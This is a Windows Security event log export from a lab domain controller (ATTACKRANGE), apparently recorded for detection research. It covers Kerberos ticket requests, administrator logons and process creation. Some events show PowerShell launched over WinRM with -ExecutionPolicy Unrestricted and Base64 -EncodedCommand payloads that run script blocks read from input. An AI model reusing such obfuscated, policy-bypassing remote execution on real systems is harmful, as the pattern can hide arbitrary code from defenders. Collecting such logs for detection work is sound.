Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B90453B2-FC94-FF53-F1A0-C2D85BF8603A}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253024
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B90453B2-FC94-FF53-F1A0-C2D85BF8603A}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253023
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253022
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183C8B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b8
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xff4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253021
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183C8B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xff4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1294
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253020
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x18411D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253019
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x18411D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B90453B2-FC94-FF53-F1A0-C2D85BF8603A}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253018
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B90453B2-FC94-FF53-F1A0-C2D85BF8603A}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253017
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B90453B2-FC94-FF53-F1A0-C2D85BF8603A}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253016
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253015
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183C8B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1294
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf2c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253014
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183C8B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf2c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xac4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253013
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183EDB

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253012
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183EDB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B90453B2-FC94-FF53-F1A0-C2D85BF8603A}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253011
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B90453B2-FC94-FF53-F1A0-C2D85BF8603A}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
